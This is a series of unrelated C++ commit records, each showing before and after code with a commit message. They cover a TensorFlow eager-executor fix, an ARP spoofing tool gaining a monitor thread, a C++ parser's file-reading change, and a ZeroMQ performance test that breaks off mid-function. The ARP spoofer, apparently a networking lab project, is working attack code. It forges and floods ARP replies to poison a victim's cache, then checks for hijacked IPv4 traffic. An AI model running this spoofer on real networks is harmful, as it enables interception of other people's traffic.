    EagerNode* curr_node_raw;
    {
      tensorflow::mutex_lock l(node_queue_mutex_);
      while (node_queue_.empty() || !status_.ok()) {
        if (state_ == ExecutorState::kShutDown) return;
        nodes_pending_.wait(l);
      }
      // Obtain raw pointer since we don't want to remove from the queue until
      // the node has been run. Otherwise, WaitForAllPendingNodes can return
      // too early.
      // Note, we don't std::move from the here because the front of the queue
      // will then contain a nullptr. This can be a problem in
      // WaitForAllPendingNodes where we get the top EagerNode pointer
      // and register a notification for its completion.
      curr_node_raw = node_queue_.front().get();
    }
    VLOG(3) << "Running Node: " << curr_node_raw->DebugString();
    AsyncEagerNode* async_node_raw = curr_node_raw->AsAsync();
    if (async_node_raw == nullptr) {
      tensorflow::Status status = curr_node_raw->Run();
      NodeDone(curr_node_raw, status);
    } else {
      async_node_raw->RunAsync([this, curr_node_raw](const Status& status) {
        NodeDone(curr_node_raw, status);
      });
      {
        tensorflow::mutex_lock l(node_queue_mutex_);
        // If false, NodeDone has been called.
        if (curr_node_raw == node_queue_.front().get()) {
          node_queue_.front().release();
          node_queue_.pop();
          unfinished_nodes_.emplace(curr_node_raw);
        }
      }
    }
  }
}

}  // namespace tensorflow
<commit_msg>Fix use-of-uninitialized memory in EagerExecutor::Run().<commit_after>/* Copyright 2018 The TensorFlow Authors. All Rights Reserved.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/

#include "tensorflow/core/common_runtime/eager/eager_executor.h"

#include "tensorflow/core/lib/core/errors.h"
#include "tensorflow/core/lib/gtl/cleanup.h"

namespace tensorflow {

EagerExecutor::EagerExecutor(bool async)
    : thread_(async ? tensorflow::Env::Default()->StartThread(
                          tensorflow::ThreadOptions(), "eager_async_executor",
                          std::bind(&EagerExecutor::Run, this))
                    : nullptr) {}

EagerExecutor::~EagerExecutor() {
  tensorflow::mutex_lock l(node_queue_mutex_);
  state_ = ExecutorState::kShutDown;
  nodes_pending_.notify_all();
}

Status EagerExecutor::ShutDown() {
  {
    std::vector<std::unique_ptr<EagerNode>> nodes_to_destroy;
    bool has_thread;
    Status status;
    {
      tensorflow::mutex_lock l(node_queue_mutex_);
      if (state_ != ExecutorState::kShutDown) {
        // if the state is kShutDown, we don't return here because we want to
        // make sure the executor thread has ended (if there is one).
        // So, we fall through to
        // thread_exited_notification_.WaitForNotification() below.
        state_ = ExecutorState::kShuttingDown;
      }
      WaitForOrDestroyAllPendingNodes(&l, &nodes_to_destroy);
      state_ = ExecutorState::kShutDown;
      has_thread = thread_ != nullptr;
      status = status_;
      if (has_thread) {
        nodes_pending_.notify_all();
      }
    }
    for (auto& node : nodes_to_destroy) {
      node->Abort(status);
    }
    if (!has_thread) {
      return status;
    }
  }

  thread_exited_notification_.WaitForNotification();
  tensorflow::mutex_lock l(node_queue_mutex_);
  return status_;
}

void EagerExecutor::WaitForOrDestroyAllPendingNodes(
    mutex_lock* lock,
    std::vector<std::unique_ptr<EagerNode>>* nodes_to_destroy) {
  if (state_ == ExecutorState::kShutDown) {
    return;
  }
  if (thread_ == nullptr) {
    Status status = status_;
    if (status.ok()) {
      status = errors::FailedPrecondition(
          "Aborting eager nodes because EagerExecutor is being shut down "
          "before it got a thread to run the nodes");
      status_ = status;
    }
    while (!node_queue_.empty()) {
      nodes_to_destroy->push_back(std::move(node_queue_.front()));
      node_queue_.pop();
    }
    for (auto& it : unfinished_nodes_) {
      nodes_to_destroy->push_back(absl::WrapUnique(it));
    }
    unfinished_nodes_.clear();
    return;
  }

  // It is OK to ignore the returned status here because it will be saved
  // as the final status_.
  WaitForAllPendingNodesLocked(lock).IgnoreError();
}

bool EagerExecutor::Async() const {
  return thread_ != nullptr;
}

const char* EagerExecutor::StateStringLocked() {
  switch (state_) {
    case ExecutorState::kActive:
      return "Active";
    case ExecutorState::kShuttingDown:
      return "ShuttingDown";
    case ExecutorState::kShutDown:
      return "ShutDown";
  }
}

Status EagerExecutor::Add(std::unique_ptr<EagerNode> node) {
  Status status;

  // If we are unable to add the node to the queue, we must call Abort. However,
  // we want to do that outside of the scope of the lock since the Abort may
  // try to call EagerExecutor::Add()
  {
    tensorflow::mutex_lock l(node_queue_mutex_);
    if (state_ != ExecutorState::kActive) {
      status = errors::FailedPrecondition(
          "EagerExecutor accepts new EagerNodes to run only in Active state. "
          "Current state is '",
          StateStringLocked(), "'");
    } else {
      DCHECK(thread_) << "EnableAsync should have been called before Add";
      status = status_;
      if (status.ok()) {
        node_queue_.push(std::move(node));

        // If there were no previous nodes pending, wake the run thread to start
        // processing requests again.
        if (node_queue_.size() == 1) {
          nodes_pending_.notify_all();
        }

        return Status::OK();
      }
    }
  }

  // Node needs to be aborted since it was not added to the queue
  node->Abort(status);
  return status;
}

tensorflow::Status EagerExecutor::WaitForAllPendingNodes() {
  tensorflow::mutex_lock l(node_queue_mutex_);
  return WaitForAllPendingNodesLocked(&l);
}

tensorflow::Status EagerExecutor::WaitForAllPendingNodesLocked(
    mutex_lock* lock) {
  tensorflow::condition_variable cond;
  // Don't wait if an error is already set.
  if (!status_.ok()) return status_;
  if (node_queue_.empty()) return tensorflow::Status::OK();
  EagerNode* last_node = node_queue_.back().get();
  node_done_notifications_.insert(std::make_pair(last_node, &cond));
  cond.wait(*lock);
  // Note that we could be woken up if an error occurs, even though the node has
  // not actually executed.
  return status_;
}

void EagerExecutor::ClearError() {
  tensorflow::mutex_lock l(node_queue_mutex_);
  // TODO(iga): Check state_ and return an error if it is not kActive.
  if (status_.ok()) return;
  // If an error was set, node_done_notifications_ and node_queue_ should have
  // been cleared, and no new entries should have been added since.
  DCHECK(node_done_notifications_.empty());
  DCHECK(node_queue_.empty());
  status_ = tensorflow::Status::OK();
  nodes_pending_.notify_all();
}

tensorflow::Status EagerExecutor::status() const {
  tf_shared_lock l(node_queue_mutex_);
  return status_;
}

void EagerExecutor::NodeDone(EagerNode* node, const Status& status) {
  VLOG(3) << "Node Done: " << node->DebugString();
  std::unique_ptr<EagerNode> current_node;
  std::vector<std::unique_ptr<EagerNode>> nodes_to_destroy;
  {
    mutex_lock l(node_queue_mutex_);
    if (!status_.ok()) return;
    if (node == node_queue_.front().get()) {
      current_node = std::move(node_queue_.front());
      node_queue_.pop();
    } else {
      DCHECK_GT(unfinished_nodes_.erase(node), 0);
      current_node = absl::WrapUnique(node);
    }
    if (!status.ok()) {
      status_ = status;
      // We remove any pending ops so that we don't try to execute them if
      // ClearError is called.
      errors::AppendToMessage(&status_,
                              ". Encountered when executing an operation using "
                              "EagerExecutor. This error cancels all future "
                              "operations and poisons their output tensors.");
      while (!node_queue_.empty()) {
        nodes_to_destroy.push_back(std::move(node_queue_.front()));
        node_queue_.pop();
      }
      for (auto& it : unfinished_nodes_) {
        nodes_to_destroy.push_back(absl::WrapUnique(it));
      }
      unfinished_nodes_.clear();
    }
    if (!node_done_notifications_.empty()) {
      // Note that we notify all waiting threads in case an error has
      // occurred. These calling threads are responsible for checking status_
      // before proceeding.
      const auto range = status_.ok()
                             ? node_done_notifications_.equal_range(node)
                             : make_pair(node_done_notifications_.begin(),
                                         node_done_notifications_.end());
      for (auto it = range.first; it != range.second; ++it) {
        it->second->notify_all();
      }
      node_done_notifications_.erase(range.first, range.second);
    }
  }
  for (auto& node : nodes_to_destroy) {
    node->Abort(status);
  }
  // nodes_to_destroy will be destructed here, while not holding
  // node_queue_mutex_. This is important because, unfortunately, some nodes'
  // destructors can enqueue more operations onto this executor and cause
  // a deadlock.
}

void EagerExecutor::Run() {
  auto thread_exited_notifier =
      gtl::MakeCleanup([this] { thread_exited_notification_.Notify(); });
  while (true) {
    EagerNode* curr_node_raw;
    {
      tensorflow::mutex_lock l(node_queue_mutex_);
      while (node_queue_.empty() || !status_.ok()) {
        if (state_ == ExecutorState::kShutDown) return;
        nodes_pending_.wait(l);
      }
      // Obtain raw pointer since we don't want to remove from the queue until
      // the node has been run. Otherwise, WaitForAllPendingNodes can return
      // too early.
      // Note, we don't std::move from the here because the front of the queue
      // will then contain a nullptr. This can be a problem in
      // WaitForAllPendingNodes where we get the top EagerNode pointer
      // and register a notification for its completion.
      curr_node_raw = node_queue_.front().get();
    }
    VLOG(3) << "Running Node: " << curr_node_raw->DebugString();
    AsyncEagerNode* async_node_raw = curr_node_raw->AsAsync();
    if (async_node_raw == nullptr) {
      tensorflow::Status status = curr_node_raw->Run();
      NodeDone(curr_node_raw, status);
    } else {
      async_node_raw->RunAsync([this, curr_node_raw](const Status& status) {
        NodeDone(curr_node_raw, status);
      });
      {
        tensorflow::mutex_lock l(node_queue_mutex_);
        // If false, NodeDone has been called.
        if (!node_queue_.empty() &&
            curr_node_raw == node_queue_.front().get()) {
          node_queue_.front().release();
          node_queue_.pop();
          unfinished_nodes_.emplace(curr_node_raw);
        }
      }
    }
  }
}

}  // namespace tensorflow
<|endoftext|>


<commit_before>#include <sys/types.h>
#include <sys/ioctl.h>
#include <unistd.h>

#include <arpa/inet.h>          // manipulação de endereços IP
#include <linux/if_ether.h>
#include <net/ethernet.h>
#include <net/if.h>             // ifr struct
#include <netinet/ether.h>      // header ethernet
#include <netinet/in.h>         // protocol definitions
#include <netinet/in_systm.h>   // tipos de dados (???)
#include <netpacket/packet.h>

#include <csignal>
#include <cstring>
#include <iostream>
#include <iomanip>
#include <mutex>
#include <thread>

#include "colors.h"
#include "helpers.h"
#include "ethernet.h"
#include "arp.h"
#include "ip.h"

using namespace Colors;

void SIGINTHandler(int);

std::mutex runMutex;
int run = 1;

void attack(int socket, int ivalue, BYTE* intMac, const Arp arp)
{
  Arp reply = arp;
  reply.operation = 2;

  memcpy(reply.targetHAddr, reply.senderHAddr, HLEN);
  memcpy(reply.senderHAddr, intMac, HLEN);

  BYTE ipSwap[PLEN];

  memcpy(ipSwap, reply.targetPAddr, PLEN);
  memcpy(reply.targetPAddr, reply.senderPAddr, PLEN);
  memcpy(reply.senderPAddr, ipSwap, PLEN);

  Ethernet ethernet;
  memcpy(ethernet.destination, reply.targetHAddr, HLEN);
  memcpy(ethernet.source, reply.senderHAddr, HLEN);
  ethernet.etherType = 0x0806;

  int size = 0;
  BYTE buff[BUFFSIZE];
  size += ethernet.ToBuffer(&buff[0]);
  size += reply.ToBuffer(&buff[14]);

  std::cout << "Mounting ARP Reply...";
  ok();

  std::cout << std::endl;
  std::cout << ethernet.ToString() << std::endl;
  std::cout << reply.ToString() << std::endl;

  struct sockaddr_ll destAddr;
  destAddr.sll_family = htons(PF_PACKET);
  destAddr.sll_protocol = htons(ETH_P_ALL);
  destAddr.sll_halen = HLEN;
  destAddr.sll_ifindex = 3;
  memcpy(&(destAddr.sll_addr), ethernet.destination, HLEN);

  std::cout << green << "Engaging attack!" << std::endl;

  int count = 0;
  while (run)
  {
    runMutex.lock();
    int ret;
    if ((ret = sendto(socket, buff, size, 0, (struct sockaddr *)&(destAddr), sizeof(struct sockaddr_ll))) < 0) {
			error();
			return;
    }
    count++;
    std::this_thread::sleep_for(std::chrono::milliseconds(100));
    runMutex.unlock();
  }

  std::cout << "Finish attacking thread (" << (int)count << " packets sent)...";
  ok();
}

int main(int argc, char** argv)
{
  if (argc != 2)
  {
    std::cerr << "Usage: spoofer <interface>" << std::endl;
    exit(-1);
  }

  BYTE intMac[HLEN];
  BYTE intIp[PLEN];
  std::thread* attackThread = nullptr;

  std::cout << "Capture SIGINT...";

  if (signal(SIGINT, SIGINTHandler) == SIG_ERR)
  {
    error();
    exit(-1);
  }

  ok();
  std::cout << "Create socket...";

  int sockd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  if (sockd < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  ok();
  std::cout << "Retrieve interface index...";

  struct ifreq ifr;
	strcpy(ifr.ifr_name, argv[1]);

	if (ioctl(sockd, SIOCGIFINDEX, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  ok();
  std::cout << "Retrieve interface hardware address...";

  if (ioctl(sockd, SIOCGIFHWADDR, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  MakeMAC((BYTE*)&ifr.ifr_hwaddr.sa_data[0], &intMac[0]);

  ok();
  std::cout << "Retrieve interface protocol address...";

  if (ioctl(sockd, SIOCGIFADDR, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  MakeIP((BYTE*)&ifr.ifr_addr.sa_data[2], &intIp[0]);

  ok();
  std::cout << "Retrieve interface flags... ";

	if (ioctl(sockd, SIOCGIFFLAGS, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  ok();
  std::cout << "Set interface to PROMISCUOUS mode... ";

	ifr.ifr_flags |= IFF_PROMISC;

	if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  ok();
  std::cout << "Start listen for ARP Request on " << ifr.ifr_name << " (" << MACToStr(intMac) << " " << IPToStr(intIp) << ")...";
  ok();

	BYTE buff[BUFFSIZE];

  while (run)
  {
    recv(sockd, (char *) &buff, sizeof(buff), 0x00);

    Ethernet ethernet(&buff[0]);

    if (ethernet.etherType == P_ARP)
    {
      Arp arp(&buff[14]);

      if (arp.operation == 1 && !CompareIP(arp.targetPAddr, intIp))
      {
        std::cout << std::endl << arp.ToString() << std::endl;

        attackThread = new std::thread(attack, sockd, ifr.ifr_ifindex, intMac, arp);
        break;
      }
    }
	}

  if (attackThread != nullptr)
  {
    attackThread->join();
  }

	ifr.ifr_flags &= ~IFF_PROMISC;
  std::cout << "Unset interface from PROMISCUOUS mode...";

  if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  ok();
  close(sockd);

  return 0;
}

void SIGINTHandler(int sig)
{
  std::cout << yellow << "Received signal to interrupt execution. Terminating...\n\n" << reset;
  runMutex.lock();
  run = 0;
  runMutex.unlock();
}

<commit_msg>Add monitor thread.<commit_after>#include <sys/types.h>
#include <sys/ioctl.h>
#include <unistd.h>

#include <arpa/inet.h>          // manipulação de endereços IP
#include <linux/if_ether.h>
#include <net/ethernet.h>
#include <net/if.h>             // ifr struct
#include <netinet/ether.h>      // header ethernet
#include <netinet/in.h>         // protocol definitions
#include <netinet/in_systm.h>   // tipos de dados (???)
#include <netpacket/packet.h>

#include <csignal>
#include <cstring>
#include <iostream>
#include <iomanip>
#include <mutex>
#include <thread>

#include "colors.h"
#include "helpers.h"
#include "ethernet.h"
#include "arp.h"
#include "ip.h"

using namespace Colors;

void SIGINTHandler(int);

std::mutex runMutex;
int run = 1;

void attack(int socket, int ivalue, BYTE* intMac, const Arp arp)
{
  Arp reply = arp;
  reply.operation = 2;

  memcpy(reply.targetHAddr, reply.senderHAddr, HLEN);
  memcpy(reply.senderHAddr, intMac, HLEN);

  BYTE ipSwap[PLEN];

  memcpy(ipSwap, reply.targetPAddr, PLEN);
  memcpy(reply.targetPAddr, reply.senderPAddr, PLEN);
  memcpy(reply.senderPAddr, ipSwap, PLEN);

  Ethernet ethernet;
  memcpy(ethernet.destination, reply.targetHAddr, HLEN);
  memcpy(ethernet.source, reply.senderHAddr, HLEN);
  ethernet.etherType = 0x0806;

  int size = 0;
  BYTE buff[BUFFSIZE];
  size += ethernet.ToBuffer(&buff[0]);
  size += reply.ToBuffer(&buff[14]);

  std::cout << "Mounting ARP Reply...";
  ok();

  std::cout << std::endl;
  std::cout << ethernet.ToString() << std::endl;
  std::cout << reply.ToString() << std::endl;

  struct sockaddr_ll destAddr;
  destAddr.sll_family = htons(PF_PACKET);
  destAddr.sll_protocol = htons(ETH_P_ALL);
  destAddr.sll_halen = HLEN;
  destAddr.sll_ifindex = 3;
  memcpy(&(destAddr.sll_addr), ethernet.destination, HLEN);

  std::cout << green << "Engaging attack!" << std::endl;

  int count = 0;
  while (run)
  {
    runMutex.lock();
    int ret;
    if ((ret = sendto(socket, buff, size, 0, (struct sockaddr *)&(destAddr), sizeof(struct sockaddr_ll))) < 0) {
			error();
			return;
    }
    count++;
    std::this_thread::sleep_for(std::chrono::milliseconds(100));
    runMutex.unlock();
  }

  std::cout << "Finish attacking thread (" << (int)count << " packets sent)...";
  ok();
}

void monitor(int socket, const Arp& arp)
{
	BYTE buff[BUFFSIZE];
  while (run)
  {
    runMutex.lock();

    recv(socket, (char *) &buff, sizeof(buff), 0x00);
    Ethernet ethernet(&buff[0]);

    if (ethernet.etherType == P_IPv4)
    {
      Ip ip(&buff[14]);
      if (CompareIP(arp.targetPAddr, ip.targetAddr))
      {
        std::cout << std::endl << "ATAQUE FOI UM SUCESSO!" << std::endl;
      }
    }
    std::this_thread::sleep_for(std::chrono::milliseconds(100));
    runMutex.unlock();
  }
}

int main(int argc, char** argv)
{
  if (argc != 2)
  {
    std::cerr << "Usage: spoofer <interface>" << std::endl;
    exit(-1);
  }

  BYTE intMac[HLEN];
  BYTE intIp[PLEN];
  std::thread* attackThread = nullptr;
  std::thread* monitorThread = nullptr;

  std::cout << "Capture SIGINT...";

  if (signal(SIGINT, SIGINTHandler) == SIG_ERR)
  {
    error();
    exit(-1);
  }

  ok();
  std::cout << "Create socket...";

  int sockd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
  if (sockd < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  ok();
  std::cout << "Retrieve interface index...";

  struct ifreq ifr;
	strcpy(ifr.ifr_name, argv[1]);

	if (ioctl(sockd, SIOCGIFINDEX, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  ok();
  std::cout << "Retrieve interface hardware address...";

  if (ioctl(sockd, SIOCGIFHWADDR, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  MakeMAC((BYTE*)&ifr.ifr_hwaddr.sa_data[0], &intMac[0]);

  ok();
  std::cout << "Retrieve interface protocol address...";

  if (ioctl(sockd, SIOCGIFADDR, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  MakeIP((BYTE*)&ifr.ifr_addr.sa_data[2], &intIp[0]);

  ok();
  std::cout << "Retrieve interface flags... ";

	if (ioctl(sockd, SIOCGIFFLAGS, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  ok();
  std::cout << "Set interface to PROMISCUOUS mode... ";

	ifr.ifr_flags |= IFF_PROMISC;

	if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  ok();
  std::cout << "Start listen for ARP Request on " << ifr.ifr_name << " (" << MACToStr(intMac) << " " << IPToStr(intIp) << ")...";
  ok();

	BYTE buff[BUFFSIZE];

  while (run)
  {
    recv(sockd, (char *) &buff, sizeof(buff), 0x00);

    Ethernet ethernet(&buff[0]);

    if (ethernet.etherType == P_ARP)
    {
      Arp arp(&buff[14]);

      if (arp.operation == 1 && !CompareIP(arp.targetPAddr, intIp))
      {
        std::cout << std::endl << arp.ToString() << std::endl;

        attackThread = new std::thread(attack, sockd, ifr.ifr_ifindex, intMac, arp);
        monitorThread = new std::thread(monitor, sockd, arp);
        break;
      }
    }
	}

  if (attackThread != nullptr)
  {
    attackThread->join();
    monitorThread->join();
  }

	ifr.ifr_flags &= ~IFF_PROMISC;
  std::cout << "Unset interface from PROMISCUOUS mode...";

  if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
  {
    error();
    close(sockd);
    exit(-1);
  }

  ok();
  close(sockd);

  return 0;
}

void SIGINTHandler(int sig)
{
  std::cout << yellow << "Received signal to interrupt execution. Terminating...\n\n" << reset;
  runMutex.lock();
  run = 0;
  runMutex.unlock();
}

<|endoftext|>


<commit_before>/*
   The MIT License (MIT)

   Copyright (c) 2014

   Permission is hereby granted, free of charge, to any person obtaining a copy of
   this software and associated documentation files (the "Software"), to deal in
   the Software without restriction, including without limitation the rights to
   use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
   the Software, and to permit persons to whom the Software is furnished to do so,
   subject to the following conditions:

   The above copyright notice and this permission notice shall be included in all
   copies or substantial portions of the Software.

   THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
   IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
   FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
   COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
   IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
   CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

#include "cppparser.h"
#include "cppobjfactory.h"
#include "cppdom.h"

#include <algorithm>
#include <fstream>
#include <vector>

extern CppCompound* parseStream(char* stm, size_t stmSize);
extern CppObjFactory* gObjFactory = nullptr;

CppParser::CppParser(CppObjFactory* objFactory)
  : objFactory_(objFactory)
{
  if (objFactory_ == nullptr)
    objFactory_ = new CppObjFactory;
}

CppCompound* CppParser::parseFile(const char* filename)
{
  auto stm = readFile(filename);
  CppCompound* cppCompound = parseStream(stm.data(), stm.size());
  if (cppCompound == NULL)
    return cppCompound;
  cppCompound->name_ = filename;
  return cppCompound;
}

CppCompound* CppParser::parseStream(char* stm, size_t stmSize)
{
  if (stm == nullptr || stmSize == 0)
    return nullptr;
  gObjFactory = objFactory_;
  return ::parseStream(stm, stmSize);
}

CppProgram* CppParser::loadProgram(const char* szInputPath)
{
  auto program = new CppProgram;
  loadProgram(szInputPath, *program);
  return program;
}

static void collectFiles(const bfs::path& path, std::vector<std::string>& files)
{
  if (bfs::is_regular_file(path))
  {
    files.push_back(path.string());
  }
  else if (bfs::is_directory(path))
  {
    for (bfs::directory_iterator dirItr(path); dirItr != bfs::directory_iterator(); ++dirItr)
    {
      collectFiles(*dirItr, files);
    }
  }
}

static std::vector<std::string> collectFiles(const bfs::path& path)
{
  std::vector<std::string> files;
  collectFiles(path, files);
  if (!files.empty())
    std::sort(files.begin(), files.end());

  return files;
}

void CppParser::loadProgram(const bfs::path& path, CppProgram& program)
{
  auto files = collectFiles(path);
  for (const auto& f : files)
  {
    auto cppDom = parseFile(f.c_str());
    if (cppDom)
      program.addCppDom(cppDom);
  }
}

CppParser::ByteArray CppParser::readFile(const char* filename)
{
  ByteArray contents;
  std::ifstream in(filename, std::ios::in);
  if (in)
  {
    in.seekg(0, std::ios::end);
    size_t size = in.tellg();
    size += 2; // For adding last 2 nulls.
    contents.resize(size);
    in.seekg(0, std::ios::beg);
    in.read(&contents[0], size);
    in.close();
  }
  return(contents);
}
<commit_msg>Add a newline char at the end of stream.<commit_after>/*
   The MIT License (MIT)

   Copyright (c) 2014

   Permission is hereby granted, free of charge, to any person obtaining a copy of
   this software and associated documentation files (the "Software"), to deal in
   the Software without restriction, including without limitation the rights to
   use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
   the Software, and to permit persons to whom the Software is furnished to do so,
   subject to the following conditions:

   The above copyright notice and this permission notice shall be included in all
   copies or substantial portions of the Software.

   THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
   IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
   FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
   COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
   IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
   CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

#include "cppparser.h"
#include "cppobjfactory.h"
#include "cppdom.h"

#include <algorithm>
#include <fstream>
#include <vector>

extern CppCompound* parseStream(char* stm, size_t stmSize);
extern CppObjFactory* gObjFactory = nullptr;

CppParser::CppParser(CppObjFactory* objFactory)
  : objFactory_(objFactory)
{
  if (objFactory_ == nullptr)
    objFactory_ = new CppObjFactory;
}

CppCompound* CppParser::parseFile(const char* filename)
{
  auto stm = readFile(filename);
  CppCompound* cppCompound = parseStream(stm.data(), stm.size());
  if (cppCompound == NULL)
    return cppCompound;
  cppCompound->name_ = filename;
  return cppCompound;
}

CppCompound* CppParser::parseStream(char* stm, size_t stmSize)
{
  if (stm == nullptr || stmSize == 0)
    return nullptr;
  gObjFactory = objFactory_;
  return ::parseStream(stm, stmSize);
}

CppProgram* CppParser::loadProgram(const char* szInputPath)
{
  auto program = new CppProgram;
  loadProgram(szInputPath, *program);
  return program;
}

static void collectFiles(const bfs::path& path, std::vector<std::string>& files)
{
  if (bfs::is_regular_file(path))
  {
    files.push_back(path.string());
  }
  else if (bfs::is_directory(path))
  {
    for (bfs::directory_iterator dirItr(path); dirItr != bfs::directory_iterator(); ++dirItr)
    {
      collectFiles(*dirItr, files);
    }
  }
}

static std::vector<std::string> collectFiles(const bfs::path& path)
{
  std::vector<std::string> files;
  collectFiles(path, files);
  if (!files.empty())
    std::sort(files.begin(), files.end());

  return files;
}

void CppParser::loadProgram(const bfs::path& path, CppProgram& program)
{
  auto files = collectFiles(path);
  for (const auto& f : files)
  {
    auto cppDom = parseFile(f.c_str());
    if (cppDom)
      program.addCppDom(cppDom);
  }
}

CppParser::ByteArray CppParser::readFile(const char* filename)
{
  ByteArray contents;
  std::ifstream in(filename, std::ios::in);
  if (in)
  {
    in.seekg(0, std::ios::end);
    size_t size = in.tellg();
    contents.resize(size+3); // For adding last 2 nulls and a new line.
    in.seekg(0, std::ios::beg);
    in.read(&contents[0], size);
    in.close();
    contents[size] = '\n';
  }
  return(contents);
}
<|endoftext|>


<commit_before>/**
** Copyright (C) 2010 Aldebaran Robotics
*/

#include <gtest/gtest.h>
#include <vector>
#include <iostream>
#include <cmath>
#include <qi/transport/src/zmq/zmq_publisher.hpp>
#include <qi/transport/src/zmq/zmq_subscriber.hpp>
#include <qi/perf/sleep.hpp>
#include <boost/timer.hpp>

struct SubscribePerfHandler : qi::transport::TransportSubscribeHandler {
  int fCount;
  int fExpectedMessages;
  boost::timer timer;

  // conforms to ISubscriberHandler
  void subscribeHandler(qi::transport::Buffer& msg) {
    if (fCount == 0) {
      timer.restart();
    }
    fCount++;
    if (fCount != fExpectedMessages) {
      return;
    }
    // print results
    double elapsed = timer.elapsed();
    double msgPerSecond = 1.0 /(elapsed / fExpectedMessages);
    std::cout << "SUB: msg:" << fCount << " msg/s: " <<
      std::setprecision(12) << msgPerSecond << std::endl;
  }

  int getCount() {
    return fCount;
  }

  SubscribePerfHandler() : fCount(0) {}

  SubscribePerfHandler(int expectedMessages) :
    fCount(0),
    fExpectedMessages(expectedMessages) {}
};

TEST(TransportZMQPublisher , HundredThousandPerSecond)
{
  int numMillions = 1;
  int numMessages = numMillions * 100000;
  zmq::context_t ctx1(1);
  zmq::context_t ctx2(1);

  SubscribePerfHandler handler(numMessages);
  //qi::transport::ZMQPublisher publisher1("tcp://127.0.0.1:5556");
  qi::transport::detail::ZMQPublisher publisher(ctx1);
  publisher.bind("tcp://127.0.0.1:5555");
  qi::transport::detail::ZMQSubscriber subscriber(ctx2);
  subscriber.connect("tcp://127.0.0.1:5555");

  subscriber.setSubscribeHandler(&handler);
  subscriber.subscribe();
  std::string msg = "Hello";
  sleep(1);
  for (int i=0; i < numMessages; i++) {
    publisher.publish(msg);
  }

  sleep(10);
  int result = handler.getCount();
  ASSERT_EQ( numMessages, result) << "Did not receive all messages";
}

TEST(TransportZMQPublisher , MultipleSubscribers)
{
  int numMessages = 100000;

  const unsigned int numSubscribers = 10;
  std::cout << "Using " << numSubscribers << " subscribers" << std::endl;
  std::vector<SubscribePerfHandler*>         handlers;
  std::vector< qi::transport::detail::ZMQSubscriber*> subscribers;
  //boost::shared_ptr<zmq::context_t> subContext(new zmq::context_t(1));
  zmq::context_t ctx(1);
  for (unsigned int i = 0; i < numSubscribers; ++i) {
    SubscribePerfHandler* hand = new SubscribePerfHandler(numMessages);
    qi::transport::detail::ZMQSubscriber* sub = new qi::transport::detail::ZMQSubscriber(ctx);
    sub->connect("tcp://127.0.0.1:5555");
    sub->setSubscribeHandler(hand);
    sub->subscribe();
    handlers.push_back(hand);
    subscribers.push_back(sub);
  }
  qi::transport::detail::ZMQPublisher publisher(ctx);
  publisher.bind("tcp://127.0.0.1:5555");

  sleep(1);
  std::string msg = "Hello";

  std::cout << "Publishing...";
  for (int i=0; i < numMessages; i++) {
    publisher.publish(msg);
  }
  std::cout << " Done." << std::endl;
  sleep(10);
  int result = 0;
  for(unsigned int i=0; i < numSubscribers; ++i) {
    result += handlers[i]->getCount();
  }

  for(unsigned int i=0; i < numSubscribers; i++) {
    delete subscribers[i];
  }
  int expectedMessaged = numMessages * numSubscribers;
  ASSERT_EQ( expectedMessaged, result) << "Did not receive all messages";

}

<commit_msg>Hundred thousand<commit_after>/**
** Copyright (C) 2010 Aldebaran Robotics
*/

#include <gtest/gtest.h>
#include <vector>
#include <iostream>
#include <cmath>
#include <qi/transport/src/zmq/zmq_publisher.hpp>
#include <qi/transport/src/zmq/zmq_subscriber.hpp>
#include <qi/perf/sleep.hpp>
#include <boost/timer.hpp>

struct SubscribePerfHandler : qi::transport::TransportSubscribeHandler {
  int fCount;
  int fExpectedMessages;
  boost::timer timer;

  // conforms to ISubscriberHandler
  void subscribeHandler(qi::transport::Buffer& msg) {
